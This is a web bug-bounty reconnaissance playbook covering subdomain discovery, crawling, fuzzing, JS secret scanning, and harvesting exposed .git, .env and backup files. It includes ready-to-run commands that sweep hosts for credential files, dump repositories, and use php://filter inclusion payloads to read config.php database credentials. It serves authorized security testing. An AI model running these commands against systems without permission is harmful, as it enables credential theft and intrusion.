WEB2 RECON PIPELINE

Full asset discovery from nothing to a prioritized URL list ready for hunting.

SETUP (one-time)

bash
# 1. Set your Chaos API key (get free key at chaos.projectdiscovery.io)
export CHAOS_API_KEY="your-key-here"
# Add to ~/.zshrc or ~/.bashrc for persistence:
echo 'export CHAOS_API_KEY="your-key-here"' >> ~/.zshrc

# 2. Update nuclei templates (run weekly)
nuclei -update-templates

# 3. Configure subfinder with API keys for more sources
mkdir -p ~/.config/subfinder
cat > ~/.config/subfinder/config.yaml << 'EOF'
# Get free keys at: virustotal.com, securitytrails.com, censys.io, shodan.io
virustotal: [YOUR_VT_KEY]
securitytrails: [YOUR_ST_KEY]
censys_apiid: YOUR_CENSYS_ID
censys_secret: YOUR_CENSYS_SECRET
shodan: [YOUR_SHODAN_KEY]
EOF

# 4. Verify all tools installed
which subfinder httpx dnsx nuclei katana waybackurls gau dalfox ffuf anew gf interactsh-client

THE 5-MINUTE RULE

> If a target shows nothing interesting after 5 minutes of recon, move on. Don't burn hours on dead surface.

5-minute kill signals:

• All subdomains return 403 or static marketing pages
• No API endpoints visible in URLs
• No JavaScript bundles with interesting endpoint paths
• nuclei returns 0 medium/high findings
• No forms, no authentication, no user data

STANDARD RECON PIPELINE

Pre-Hunt: Always Run First

bash
TARGET="target.com"

# Step 0: Passive — crt.sh certificate transparency (no API key needed)
curl -s "https://crt.sh/?q=%.${TARGET}&output=json" \
  | jq -r '.[].name_value' \
  | sed 's/\*\.//g' \
  | sort -u > /tmp/subs.txt
echo "[+] crt.sh: $(wc -l < /tmp/subs.txt) subdomains"

# Step 1: Chaos API (ProjectDiscovery — most comprehensive source)
curl -s "https://dns.projectdiscovery.io/dns/$TARGET/subdomains" \
  -H "Authorization: $CHAOS_API_KEY" \
  | jq -r '.[]' >> /tmp/subs.txt

echo "[+] Chaos returned $(wc -l < /tmp/subs.txt) subdomains"

# Step 2: subfinder (passive multi-source)
subfinder -d $TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only $TARGET | anew /tmp/subs.txt

echo "[+] Total subdomains after all sources: $(wc -l < /tmp/subs.txt)"

# Step 3: DNS resolution + live host check
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect | tee /tmp/live.txt

echo "[+] Live hosts: $(wc -l < /tmp/live.txt)"

# Step 4: URL crawl
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -jc -kf all -silent | anew /tmp/urls.txt

# Step 5: Historical URLs
echo $TARGET | waybackurls | anew /tmp/urls.txt
gau $TARGET --subs | anew /tmp/urls.txt

echo "[+] Total URLs: $(wc -l < /tmp/urls.txt)"

# Step 6: Nuclei scan
nuclei -l /tmp/live.txt -t ~/nuclei-templates/ -severity critical,high,medium -o /tmp/nuclei.txt

Output to Organized Directory

bash
TARGET="target.com"
RECON_DIR="recon/$TARGET"
mkdir -p $RECON_DIR

# All outputs go here:
/tmp/subs.txt         → $RECON_DIR/subdomains.txt
/tmp/live.txt         → $RECON_DIR/live-hosts.txt
/tmp/urls.txt         → $RECON_DIR/urls.txt
/tmp/nuclei.txt       → $RECON_DIR/nuclei.txt

ATTACK SURFACE TRIAGE

Find Interesting Targets in URL List

bash
# Parameters worth testing
cat /tmp/urls.txt | grep -E "[?&](id|user|file|path|url|redirect|next|src|token|key|api_key)=" | tee /tmp/interesting-params.txt

# API endpoints
cat /tmp/urls.txt | grep -E "/api/|/v1/|/v2/|/v3/|/graphql|/rest/|/gql" | tee /tmp/api-endpoints.txt

# File upload endpoints
cat /tmp/urls.txt | grep -E "upload|file|attachment|document|image|avatar|photo|media" | tee /tmp/uploads.txt

# Admin/internal paths
cat /tmp/urls.txt | grep -E "/admin|/internal|/debug|/test|/staging|/dev|/management|/console" | tee /tmp/admin-paths.txt

# Authentication endpoints
cat /tmp/urls.txt | grep -E "/oauth|/login|/auth|/sso|/saml|/oidc|/callback|/token" | tee /tmp/auth-paths.txt

gf Patterns (Quick Classification)

bash
# Install gf patterns: https://github.com/tomnomnom/gf
cat /tmp/urls.txt | gf xss | tee /tmp/xss-candidates.txt
cat /tmp/urls.txt | gf ssrf | tee /tmp/ssrf-candidates.txt
cat /tmp/urls.txt | gf idor | tee /tmp/idor-candidates.txt
cat /tmp/urls.txt | gf sqli | tee /tmp/sqli-candidates.txt
cat /tmp/urls.txt | gf redirect | tee /tmp/redirect-candidates.txt
cat /tmp/urls.txt | gf lfi | tee /tmp/lfi-candidates.txt
cat /tmp/urls.txt | gf rce | tee /tmp/rce-candidates.txt

# User-controlled CSS surface (themes, profile pages, HTML email renderers,
# rich-text editors, PDF generators). gf has no pattern for this — grep manually:
cat /tmp/urls.txt | grep -iE "theme|profile|signature|customize|email|invoice|pdf|render|markdown" \
  | tee /tmp/css-injection-candidates.txt
# → if any hit, run web2-vuln-classes **CSS Injection**

JS ANALYSIS

SecretFinder (API keys, tokens in JS bundles)

bash
# Activate venv
source ~/tools/SecretFinder/.venv/bin/activate

# Scan a single JS file
python3 ~/tools/SecretFinder/SecretFinder.py -i "https://target.com/static/js/main.js" -o cli

# Scan all JS URLs found in recon
cat /tmp/urls.txt | grep "\.js$" | head -50 | while read url; do
  echo "=== $url ==="
  python3 ~/tools/SecretFinder/SecretFinder.py -i "$url" -o cli 2>/dev/null
done

deactivate

LinkFinder (Endpoints hidden in JS)

bash
source ~/tools/LinkFinder/.venv/bin/activate

# Single JS file
python3 ~/tools/LinkFinder/linkfinder.py -i "https://target.com/app.js" -o cli

# All pages (crawls JS from HTML)
python3 ~/tools/LinkFinder/linkfinder.py -i "https://target.com" -d -o cli

deactivate

DIRECTORY FUZZING

ffuf — Standard Fuzzing

bash
# Directory discovery on a live host
ffuf -u "https://target.com/FUZZ" \
     -w ~/wordlists/common.txt \
     -mc 200,201,204,301,302,307,401,403 \
     -ac \
     -t 40 \
     -o /tmp/ffuf-dirs.json

# API endpoint discovery
ffuf -u "https://target.com/api/FUZZ" \
     -w ~/wordlists/api-endpoints.txt \
     -mc 200,201,204,301,302 \
     -ac \
     -t 20

# IDOR fuzzing with authenticated request
# Create req.txt with Authorization: Bearer TOKEN
ffuf -request /tmp/req.txt \
     -request-proto https \
     -w <(seq 1 10000) \
     -fc 404 \
     -ac \
     -t 10

TARGET SCORING — GO / NO-GO

Score before spending time. Skip if score < 4.

| Criterion | Points | |---|---| | Max bounty >= $5K | +2 | | Large user base (>100K) or handles money | +2 | | Program launched < 60 days ago | +2 | | Complex features: API, OAuth, file upload, GraphQL | +1 | | Recent code/feature changes (GitHub, changelog) | +1 | | Private program (less competition) | +1 | | Tech stack you know | +1 | | Source code available | +1 | | Prior disclosed reports to study | +1 |

< 4: Skip 4-5: Only if nothing better available 6-8: Good — spend 1-3 days >= 9: Excellent — spend up to 1 week

Pre-Dive Hard Kill Signals

1. Max bounty < $500 → not worth your time
2. All recent reports are N/A or duplicate → hunters saturated it
3. Scope is only a static marketing page → no attack surface
4. Company < 5 employees with no revenue → won't pay
5. Explicitly excludes your planned bug class in rules

TECH STACK DETECTION (2 min)

bash
# Response headers reveal backend
curl -sI https://target.com | grep -iE "server|x-powered-by|x-aspnet|x-runtime|x-generator"

# Common signals:
# Server: nginx + X-Powered-By: PHP/7.4 → PHP backend
# Server: gunicorn OR X-Powered-By: Express → Python/Node.js
# X-Powered-By: ASP.NET → .NET
# Server: Apache Tomcat → Java
# X-Runtime: Ruby → Ruby on Rails

# Framework from JS bundle paths:
# /_next/static/ → Next.js
# /static/js/main.chunk.js → CRA (React)
# /packs/ → Ruby on Rails + Webpacker
# /__nuxt/ → Nuxt.js (Vue)

Stack → Primary Bug Class Map

| Stack | Hunt First | Hunt Second | |---|---|---| | Ruby on Rails | Mass assignment | IDOR (:id routes) | | Django | IDOR (ModelViewSet, no object perms) | SSTI (mark_safe) | | Flask | SSTI (render_template_string) | SSRF (requests lib) | | Laravel | Mass assignment ($fillable) | IDOR (Eloquent, no ownership) | | Express (Node.js) | Prototype pollution | Path traversal + debug surface (/_debug, /__debug__) → web2-vuln-classes "Error Disclosure / Debug Endpoints" | | Spring Boot | Actuator endpoints → web2-vuln-classes "Error Disclosure / Debug Endpoints" for full surface | SSTI (Thymeleaf) | | ASP.NET | ViewState deserialization (if encrypted, also test padding-oracle path → web2-vuln-classes Padding Oracle & Crypto Misuse) | Open redirect (ReturnUrl) | | Next.js | SSRF via Server Actions + /_next/data/ / /_next/static/chunks/ → web2-vuln-classes "Error Disclosure / Debug Endpoints" | Open redirect via redirect() | | GraphQL | Introspection → auth bypass on mutations | IDOR via node(id:) | | WordPress | Plugin SQLi | REST API auth bypass | | SPA frameworks (React / Vue / Svelte / Angular) | DOM XSS sinks via state/router → web2-vuln-classes section 3 "postMessage Testing" for cross-frame entry points | Client-side route auth bypass (role check only in JS) |

CONTINUOUS MONITORING SETUP

Set up once per target. Alerts you before other hunters.

New Subdomain Alerts (daily cron)

bash
#!/bin/bash
TARGET="target.com"
KNOWN="/tmp/$TARGET-subs-known.txt"

subfinder -d $TARGET -silent > /tmp/$TARGET-subs-fresh.txt
curl -s "https://dns.projectdiscovery.io/dns/$TARGET/subdomains" \
  -H "Authorization: $CHAOS_API_KEY" \
  | jq -r '.[]' >> /tmp/$TARGET-subs-fresh.txt

# Diff against known
NEW=$(comm -23 <(sort /tmp/$TARGET-subs-fresh.txt) <(sort $KNOWN 2>/dev/null))

if [ -n "$NEW" ]; then
  echo "NEW SUBDOMAINS: $NEW"
  echo "$NEW" >> $KNOWN
fi

# Schedule: crontab -e → 0 8 * * * /bin/bash ~/monitors/subs-watch.sh

GitHub Commit Watch

bash
#!/bin/bash
REPO="TargetOrg/target-app"
LAST_SHA="/tmp/$REPO-last-sha.txt"

CURRENT=$(curl -s "https://api.github.com/repos/$REPO/commits?per_page=1" | jq -r '.[0].sha')
KNOWN=$(cat $LAST_SHA 2>/dev/null)

if [ "$CURRENT" != "$KNOWN" ]; then
  echo "New commit on $REPO: $CURRENT"
  echo $CURRENT > $LAST_SHA
  # Get changed files
  curl -s "https://api.github.com/repos/$REPO/commits/$CURRENT" \
    | jq -r '.files[].filename' | grep -E "auth|middleware|route|permission|role|admin"
fi

# Schedule: */30 * * * * /bin/bash ~/monitors/github-watch.sh

PORT SCANNING (often skipped — don't skip)

bash
# naabu — fast port scanner from ProjectDiscovery
# Finds non-standard ports: 8080, 8443, 3000, 8888, 9000, etc.
cat /tmp/live.txt | awk '{print $1}' | naabu -port 80,443,8080,8443,3000,4000,5000,8000,8888,9000,9090,9200,6379 -silent | tee /tmp/open-ports.txt

# Why this matters: admin panels, debug services, internal APIs often run on alt ports
# Example wins: :8080/actuator/env (Spring Boot), :9200/_cat/indices (Elasticsearch), :6379 (Redis)

SECRET SCANNING IN JS BUNDLES

bash
# trufflehog — high-signal secret detection with entropy analysis
# Scans JS files and git repos
pip install trufflehog3 2>/dev/null || true
trufflehog filesystem --only-verified recon/$TARGET/ 2>/dev/null

# SecretFinder — manual JS bundle scan (already in tools/)
source ~/tools/SecretFinder/.venv/bin/activate
cat /tmp/urls.txt | grep "\.js$" | head -100 | while read url; do
  python3 ~/tools/SecretFinder/SecretFinder.py -i "$url" -o cli 2>/dev/null
done
deactivate

# Quick grep for common patterns in downloaded JS
wget -q -r -l 1 -A "*.js" -P /tmp/js-files/ "https://$TARGET" 2>/dev/null
grep -rn "api_key\|apiKey\|client_secret\|access_token\|private_key\|AWS_SECRET\|AKIA" /tmp/js-files/ 2>/dev/null

GITHUB DORKING FOR TARGET

bash
# Search GitHub for hardcoded secrets before hunting the app
TARGET_ORG="TargetOrgName"  # Check their GitHub org

# Useful dorks (search on github.com):
# org:TARGET_ORG password
# org:TARGET_ORG api_key
# org:TARGET_ORG "Authorization: Bearer"
# org:TARGET_ORG .env
# org:TARGET_ORG "BEGIN RSA PRIVATE KEY"

# CLI with gh (GitHub CLI):
gh search code "api_key" --owner "$TARGET_ORG" --json path,repository 2>/dev/null | jq '.'
gh search code "password" --owner "$TARGET_ORG" --json path,repository 2>/dev/null | head -20

# GitDorker (if installed):
python3 ~/tools/GitDorker/GitDorker.py -t GITHUB_TOKEN -d ~/tools/GitDorker/Dorks/alldorksv3 -q "$TARGET" -org

SOURCE DISCLOSURE & EXTRACTION

Recovering an app's source code is one of the highest-leverage recon moves: it converts blind black-box hunting into white-box review. A bare directory-listing or exposed file is usually Low/Info on its own — it becomes Medium/High/Critical the moment the recovered source yields hardcoded secrets, a confirmed injectable sink, or auth logic you can now bypass with certainty.

> Disclosure is not the bug. The bug is what the disclosure enables. Always ask: "With this source/config in hand, can I prove a concrete attack RIGHT NOW?" If the dump is empty or contains only public framework code, it's an N/A — kill it.

Triage scan — fire these against every live host first

bash
# One-shot probe of the highest-signal disclosure paths across all live hosts.
# Only 200s with non-empty bodies are worth a human look.
for host in $(awk '{print $1}' /tmp/live.txt); do
  for p in /.git/HEAD /.git/config /.svn/wc.db /.svn/entries /.hg/requires \
           /.bzr/branch-format /.DS_Store /.env /web.config /WEB-INF/web.xml \
           /application.properties /config.php.bak /backup.zip /.git/logs/HEAD; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "$host$p")
    [ "$code" = "200" ] && echo "[HIT] $code  $host$p"
  done
done | tee /tmp/disclosure-hits.txt

# nuclei has curated templates for this — run alongside the manual sweep
nuclei -l /tmp/live.txt -tags exposure,config,git,backup -severity info,low,medium,high -o /tmp/exposure.txt

Exposed VCS — dump it, don't just report the 200

A reachable .git/ (or .svn/.hg/.bzr) lets you reconstruct the entire repo + commit history — and history is where deleted secrets, old credentials, and removed debug endpoints live. Reporting ".git/HEAD returns 200" with no dump is a weak Low; reporting the recovered source + a secret pulled from it is a strong finding.

bash
# --- Git (most common) ---
# git-dumper reconstructs the working tree even when directory listing is OFF.
pipx install git-dumper   # or: pip install git-dumper
git-dumper "https://target.com/.git/" /tmp/dump-target
# Then mine the recovered repo:
cd /tmp/dump-target
git log --all --oneline                 # every commit, including reverted ones
git log -p --all | grep -iE "password|secret|api[_-]?key|token|BEGIN .*PRIVATE KEY"
git show $(git rev-list --all)          # walk objects if checkout is partial

# GitTools (alt) — gitdumper.sh grabs objects, extractor.sh rebuilds commits
# Useful when git-dumper chokes on a broken index:
~/tools/GitTools/Dumper/gitdumper.sh "https://target.com/.git/" /tmp/dump-gt
~/tools/GitTools/Extractor/extractor.sh /tmp/dump-gt /tmp/dump-gt-src

# Quick sanity test before dumping: is the pack/objects tree actually served?
curl -s "https://target.com/.git/config"            # remote URL → confirms real repo
curl -s "https://target.com/.git/logs/HEAD"         # ref log → commit SHAs to pull

# --- SVN ---
# SVN 1.7+ stores everything in a single SQLite DB. Pull it, then read pristine blobs.
curl -s "https://target.com/.svn/wc.db" -o /tmp/wc.db
sqlite3 /tmp/wc.db "SELECT local_relpath, checksum FROM NODES;"   # file list + blob hashes
# Pristine objects live at /.svn/pristine/<2-char>/<sha1>.svn-base
# SVN ≤1.6 instead exposes /.svn/entries (plaintext file list) + /.svn/text-base/*.svn-base
# Tooling: svn-extractor / dvcs-ripper rip-svn

# --- Mercurial (.hg) and Bazaar (.bzr) ---
# Confirm presence then dump with dvcs-ripper:
curl -s "https://target.com/.hg/requires"           # hg fingerprint
curl -s "https://target.com/.bzr/branch-format"     # bzr fingerprint
~/tools/dvcs-ripper/rip-hg.pl  -v -u https://target.com/.hg/
~/tools/dvcs-ripper/rip-bzr.pl -v -u https://target.com/.bzr/

> If the repo dumps but contains only vendored framework code with no secrets and no app logic, that's an Info disclosure at best. Don't pad your N/A ratio — chain it to a real secret/sink or drop it.

.DS_Store — recursive directory map without brute force

macOS drops a .DS_Store in committed folders; deployed to a web root it leaks the exact filenames in each directory. Recurse it to map hidden admin panels, backup files, and source paths that ffuf would never guess.

bash
# ds_store_exp parses each .DS_Store, then fetches and recurses into the names it finds.
pip install ds-store           # provides the parser
python3 ~/tools/ds_store_exp/ds_store_exp.py "https://target.com/.DS_Store"
# It writes the recovered tree to ./<target>/ — grep it for the good stuff:
grep -rilE "backup|admin|config|\.sql|\.zip|\.bak|internal|test" ./target.com/

# Manual parse if you only have one file (no listing/recursion):
curl -s "https://target.com/.DS_Store" -o /tmp/dsstore && strings /tmp/dsstore | sort -u
# Each readable name is a real sibling file/dir → feed back into the triage scan.

Backup / temp / swap file fuzzing

Editors and lazy deploys leave shadow copies that bypass the interpreter and serve raw source. index.php.bak or .index.php.swp returns plaintext PHP that a normal index.php request would execute and hide.

bash
# Build a candidate list from paths you already know (live URLs + recovered source).
# Mutate each known file with backup/temp extensions, then ffuf against the host.
cat /tmp/urls.txt | unfurl paths | sort -u > /tmp/known-paths.txt

# ffuf: fuzz the EXTENSION on a known basename (e.g. config)
ffuf -u "https://target.com/configFUZZ" \
     -w <(printf '%s\n' .bak .old .orig .save .swp .swo .tmp .txt '~' .1 .copy .inc .dist .sample) \
     -mc 200 -ac -t 20

# ffuf: append archive extensions to the bare hostname + common roots (full-site dumps)
ffuf -u "https://target.com/FUZZ" \
     -w <(for n in backup bkp www web site app source release dist html public_html "$(echo target)"; do
            for e in .zip .tar.gz .tar .rar .7z .tgz .sql .sql.gz; do echo "$n$e"; done; done) \
     -mc 200 -ac -fs 0 -t 20      # -fs 0 drops empty 200s

# Vim swap recovery: .<name>.swp → recover original with vim -r
curl -s "https://target.com/.index.php.swp" -o /tmp/index.php.swp && vim -r /tmp/index.php.swp

# SecLists has purpose-built lists — prefer them over hand-rolling at scale:
#   Discovery/Web-Content/BackupFiles.fuzz.txt   (FUZZ-templated, mutates basenames)
#   Discovery/Web-Content/raft-large-files.txt
ffuf -u "https://target.com/FUZZ" -w ~/wordlists/SecLists/Discovery/Web-Content/BackupFiles.fuzz.txt \
     -mc 200 -ac -fs 0 -t 30

PHP source read — php://filter and .phps

If you have an LFI / file-include sink (a ?page=, ?file=, ?template= parameter — see the LFI candidates from gf), you can read PHP source instead of executing it by base64-wrapping it through php://filter. Recovered source then feeds straight into vuln hunting (find the real RCE/SQLi sink).

bash
# Base64-encode the target file so the interpreter returns source, not executed output.
curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=index.php" \
  | grep -oE '[A-Za-z0-9+/=]{40,}' | base64 -d        # → raw index.php source

# Read config files holding DB creds / API keys (this is what escalates severity):
curl -s "https://target.com/?page=php://filter/convert.base64-encode/resource=config.php" \
  | grep -oE '[A-Za-z0-9+/=]{40,}' | base64 -d

# If allow_url_include is on, php://filter can also chain to RCE — note it, then test
# carefully under program rules (see SSRF / file-include classes in web2-vuln-classes).

# .phps — some servers map .phps to a syntax-highlighted source view. Try it on every
# script you can name (no LFI needed):
curl -s "https://target.com/index.phps" -o /tmp/index.phps   # serves highlighted source
for f in index config admin login db; do
  curl -s -o /dev/null -w "%{http_code} $f.phps\n" "https://target.com/$f.phps"
done

Env / config leaks — credentials in the open

These files map 1:1 to a payout when they contain live secrets. A bare .env listing framework defaults is Info; one with a working DB password, cloud key, or signing secret is High/Critical (verify the key works — see SECRET SCANNING IN JS BUNDLES for verification flow).

| File | Stack | What's inside (escalation) | |---|---|---| | /.env /.env.local /.env.production | Laravel / Node / Rails | DB_PASSWORD, APP_KEY, AWS_*, STRIPE_*, mail creds | | /web.config /connectionStrings.config | ASP.NET / IIS | DB connection strings, machineKey (→ ViewState RCE — see padding-oracle class) | | /WEB-INF/web.xml /WEB-INF/classes/*.properties | Java / Spring | jdbc.properties, datasource creds, internal servlet mappings | | /application.properties /application.yml | Spring Boot | DB creds, management.endpoints exposure (→ Actuator, see Error Disclosure / Debug Endpoints) | | /config.php /wp-config.php /configuration.php | PHP / WP / Joomla | DB creds, auth salts, secret keys | | /appsettings.json /secrets.json | .NET Core | connection strings, JWT signing keys, client secrets | | /.aws/credentials /.npmrc /.dockercfg | misc | cloud / registry tokens |

bash
# Pull each candidate and immediately scan the body for live-looking secrets.
for p in /.env /web.config /WEB-INF/web.xml /application.properties /appsettings.json \
         /config.php /wp-config.php /configuration.php /.git/config; do
  body=$(curl -s "https://target.com$p")
  echo "$body" | grep -iqE "password|secret|api[_-]?key|aws|jdbc|connectionstring|begin .*private key" \
    && echo "[SECRET?] https://target.com$p"
done

# WEB-INF/web.xml is shielded by the servlet container — usually only reachable via a
# path-traversal/LFI sink, NOT a direct request. If you can read it, you almost certainly
# have a traversal bug worth far more than the disclosure itself.

What to do with recovered source — turn the dump into the bug

Recon hands you the source; the payout comes from the review. Run this on any recovered repo/config:

bash
SRC=/tmp/dump-target

# 1) Secrets in tracked files AND in git history (deleted ≠ gone)
trufflehog filesystem --only-verified "$SRC"
git -C "$SRC" log -p --all 2>/dev/null | grep -iE "password|secret|api[_-]?key|token|AKIA|-----BEGIN"

# 2) Dangerous sinks → confirm an injectable path, then test it live
grep -rnE "eval\(|assert\(|system\(|exec\(|popen\(|unserialize\(|pickle\.loads|yaml\.load|Runtime\.exec" "$SRC"
grep -rnE "(SELECT|INSERT|UPDATE).+\\\$_(GET|POST|REQUEST)|\\.format\(.*request|f\"SELECT" "$SRC"   # SQLi candidates
grep -rnE "include|require|render_template_string|fopen\(.*\\\$_" "$SRC"                            # LFI / SSTI

# 3) Auth logic you can now bypass with certainty (hardcoded checks, weak JWT secret,
#    debug flags, default admin creds, IP allowlists, signature verification gaps)
grep -rniE "debug *= *true|is_admin|jwt.*secret|verify=False|disable.*auth|backdoor|TODO|FIXME" "$SRC"

# 4) Internal hostnames / endpoints not in your URL list → new attack surface (+ SSRF targets)
grep -rohE "https?://[a-zA-Z0-9.-]+(:[0-9]+)?(/[^\"' ]*)?" "$SRC" | sort -u

> Severity ladder for a report: path returns 200 = Info → recovered full source = Low → + verified secret OR confirmed exploitable sink (SQLi/RCE/auth bypass) = High/Critical. Submit at the top of the ladder you can prove, never the bottom.

Pattern seen on HackerOne / Bugcrowd: exposed .git directories dumped to full source, then mined for hardcoded credentials in commit history → account takeover / admin access (e.g. the U.S. DoD .git exposure report, hackerone.com/reports/1624157). .DS_Store recursion has paid out for revealing backup archives and debug-mode internal panels that direct fuzzing missed. Do not invent dollar figures — frame the impact, prove the chain, and let the program set the bounty.

30-MINUTE RECON PROTOCOL

Minutes 0-5: Read Program Page

Note:
- ALL in-scope assets (every domain listed)
- Out-of-scope list (read carefully — common trap)
- Safe harbor statement
- Impact types accepted (some exclude "low")
- Average bounty amount (signals program generosity)

Minutes 5-15: Asset Discovery

Run the standard pipeline above. Focus on live.txt output.

Minutes 15-25: Surface Map

Run gf patterns and the interesting-params grep above.

Minutes 25-30: Manual Exploration

Open Burp Suite. Browse the app with proxy on:

1. Register an account
2. Perform main user actions (create/read/update/delete resources)
3. Note all API calls in Burp history
4. Look for endpoints not in your URL list

After 30 min: Prioritize

Priority 1: API endpoints with ID parameters → IDOR candidates
Priority 2: File upload features → XSS/RCE candidates
Priority 3: OAuth/SSO flows → auth bypass candidates
Priority 4: Search/filter with user input → SQLi/SSRF/SSTI candidates
Priority 5: Admin/debug endpoints → auth bypass candidates